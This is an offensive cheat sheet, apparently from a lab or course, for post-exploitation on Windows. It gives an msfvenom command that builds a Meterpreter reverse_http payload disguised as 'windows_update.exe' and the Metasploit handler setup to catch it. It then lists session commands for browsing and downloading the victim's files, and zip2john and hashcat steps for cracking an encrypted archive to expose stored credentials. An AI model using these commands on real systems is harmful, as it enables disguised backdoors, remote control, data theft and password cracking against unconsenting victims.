Backdoor Access & Encrypted File Cracking
Techniques used after a backdoor connection is established — locating sensitive files on the compromised system, exfiltrating them, and cracking any encryption protecting their contents.
Payload Creation
msfvenom --payload windows/x64/meterpreter/reverse_http lhost=[IP] lport=[PORT] --format exe --out windows_update.exe
Description
Generates a disguised Windows executable payload, named to appear as a legitimate system update.
Listener Setup
msfconsole
Description
Launches the Metasploit Framework console.
use exploit/multi/handler
Description
Loads the generic handler module used to catch any incoming payload connection.
set payload windows/x64/meterpreter/reverse_http
Description
Matches the handler's payload type to the one embedded in the backdoor.
set lhost [IP]
Description
Sets the attacker's listening IP address.
set lport [PORT]
Description
Sets the listening port — must match the port used during payload creation.
exploit -j -z
Description
Starts the listener as a background job, waiting for the victim to execute the file.
Session Interaction
sessions -l
Description
Lists all active Meterpreter sessions.
sessions [id]
Description
Interacts with a specific session.
ls
Description
Lists files in the current remote directory.
cd [folder]
Description
Navigates the victim's filesystem to locate sensitive files.
Data Exfiltration
download [file]
Description
Transfers the target file from the compromised machine back to the attacker's system.
Hash Extraction & Cracking
zip2john [file].zip
Description
Extracts a crackable hash from an encrypted zip archive.
zip2john [file].zip | cut -d ':' -f 2 > hash.txt
Description
Isolates only the hash portion needed for cracking, saving it to a file.
hashcat --identify hash.txt [wordlist]
Description
Confirms the exact hash mode before running the attack, since some formats have multiple sub-variants.
hashcat -m [mode] hash.txt [wordlist]
Description
Attempts to recover the plaintext password using dictionary attack.
Password Recovered
-
Description
The hash is successfully cracked — status shows 'Cracked' and the recovered password (tinkerbell) appears directly in the output.
Unlocking the Archive
-
Description
The recovered password is used to unlock the encrypted archive, confirming the crack was valid.
Credentials Exposed
-
Description
The decrypted file's contents are revealed, exposing the victim's stored credentials — the end goal of the attack.